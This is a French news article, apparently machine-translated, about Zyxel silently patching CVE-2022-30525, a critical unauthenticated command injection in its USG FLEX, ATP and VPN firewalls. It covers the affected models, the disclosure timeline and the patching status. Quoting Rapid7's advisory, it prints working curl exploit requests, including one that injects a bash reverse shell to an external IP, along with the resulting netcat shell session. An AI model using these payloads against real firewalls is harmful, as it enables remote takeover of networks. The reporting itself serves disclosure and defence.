Zyxel corrige silencieusement une vulnérabilité d’injection de commande avec une sévérité de 9.8

Zyxel corrige silencieusement une vulnerabilite dinjection de commande avec une

Zyxel

Le fabricant de matériel Zyxel a discrètement publié une mise à jour qui corrige une vulnérabilité critique qui permet aux pirates de contrôler à distance des dizaines de milliers de dispositifs de pare-feu.

La vulnérabilité, qui permet l’injection de commandes à distance sans nécessiter d’authentification, a un niveau de gravité de 9,8 sur 10 possibles. Il est facilement exploitable en envoyant de simples requêtes HTTP ou HTTPS aux appareils concernés. Les requêtes permettent aux pirates d’envoyer des commandes ou d’ouvrir une interface web shell qui permet aux pirates de conserver un accès privilégié au fil du temps.

Haute qualité, facile à armer, ne nécessite pas d’authentification

La vulnérabilité affecte un certain nombre de pare-feu qui offrent une fonctionnalité appelée approvisionnement sans contact. Zyxel commercialise les appareils pour une utilisation dans les petites succursales et le siège social. Les appareils assurent la connectivité VPN, l’inspection SSL, le filtrage Web, la prévention des intrusions et la sécurité des e-mails, et fournissent un débit allant jusqu’à 5 Gbit/s à travers le pare-feu. Le service de localisation d’appareils Shodan montre que plus de 16 000 appareils concernés sont exposés à Internet.

Les appareils concernés sont :

Modèle concerné Version du micrologiciel concernée
USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 à ZLD5.21 Correctif 1
VPN USG20, VPN USG20W ZLD5.10 à ZLD5.21 Correctif 1
ATP 100, 200, 500, 700, 800 ZLD5.10 à ZLD5.21 Correctif 1

La vulnérabilité est suivie comme CVE-2022-30525. Rapid7, la société de sécurité qui l’a repéré et l’a signalé en privé à Zyxel, a déclaré que la série d’appareils VPN prend également en charge ZTP, mais qu’ils ne sont pas vulnérables car ils n’incluent pas d’autres fonctionnalités requises. Dans un avis publié jeudi, le chercheur de Rapid7, Jake Baines, a écrit :

Les modèles concernés sont vulnérables à l’injection de commandes non authentifiées et à distance via l’interface HTTP d’administration. Les commandes sont exécutées comme nobody Utilisateur. Cette vulnérabilité est exploitée par le /ztp/cgi-bin/handler URI et est le résultat de la transmission de l’entrée sale de l’attaquant au os.system première méthode lib_wan_settings.py. La fonctionnalité vulnérable est appelée conjointement avec setWanPortSt Commande. Un attaquant peut injecter n’importe quelle commande dans le mtu ou la data Paramètre.

Voici des exemples de (1) curl cela oblige le pare-feu à exécuter un ping à l’adresse IP 192.168.1.220, suivi de (2) la sortie powershell des résultats, (3) la génération d’un shell inversé et (4) les choses qu’un pirate peut faire avec le shell inversé :

    1. curl -v --insecure -X POST -H "Content-Type: application/json" -d
      '"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
      :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"'
      https://192.168.1.1/ztp/cgi-bin/handler
      
    2. nobody   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  _ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
      nobody   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   _ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
      nobody   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       _ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
      nobody   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           _ ping 192.168.1.220
      
    3. curl -v --insecure -X POST -H "Content-Type: application/json" -d '
      "command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
      "1","vlanid":"5","mtu":"; bash -c "exec bash -i &>/dev/tcp/
      192.168.1.220/1270 <&1;";","data":"hi"' https://192.168.1.1
      /ztp/cgi-bin/handler
      
    4. albinolobster@ubuntu:~$ nc -lvnp 1270
      Listening on 0.0.0.0 1270
      Connection received on 192.168.1.1 37882
      bash: cannot set terminal process group (11037): Inappropriate ioctl for device
      bash: no job control in this shell
      bash-5.1$ id
      id
      uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
      bash-5.1$ uname -a
      uname -a
      Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
      Bash-5.1
      

Rapid7 a développé un module pour le framework d’exploitation Metasploit qui automatise le processus d’exploitation.

Baines a déclaré que Rapid7 avait informé Zyxel de la vulnérabilité le 13 avril et que les deux parties avaient convenu de fournir une divulgation coordonnée comprenant le correctif le 21 juin. Le chercheur a poursuivi en disant qu’à l’insu de Rapid7, le fabricant de matériel a publié une mise à jour du micrologiciel le 28 avril qui corrige discrètement la vulnérabilité. Zyxel n’a reçu le numéro CVE que mardi après que Rapid7 a posé des questions sur le correctif silencieux et a publié un avis jeudi.

Selon AttackerKB, une ressource de vulnérabilité, CVE-2022-30525 est d’une grande valeur pour les acteurs de la menace car il est facile à militariser, ne nécessite aucune authentification et peut être exploité dans la configuration par défaut des appareils vulnérables. Les représentants de Rapid7 n’étaient pas disponibles pour répondre aux questions de base sur l’exactitude de cette évaluation.

Les administrateurs doivent appliquer le correctif manuellement, sauf s’ils ont modifié les paramètres par défaut pour activer les mises à jour automatiques. Les premières indications sont que le correctif n’est pas largement déployé, car une requête Shodan pour un seul des pare-feu vulnérables, l’ATP200, a montré qu’environ 25 % seulement des appareils exposés exécutaient le dernier micrologiciel.

Les vulnérabilités affectant les pare-feu peuvent être particulièrement graves car ils résident à la périphérie externe des réseaux où le trafic entrant et sortant circule. De nombreux pare-feu peuvent également lire les données avant de les chiffrer. Les administrateurs supervisant les réseaux utilisant ces appareils concernés doivent en priorité rechercher s’ils sont exposés à cette vulnérabilité et appliquer les correctifs en conséquence.

Le message Zyxel corrige silencieusement une vulnérabilité d’injection de commande d’une gravité de 9,8 apparue en premier sur Germanic News.

gnns-general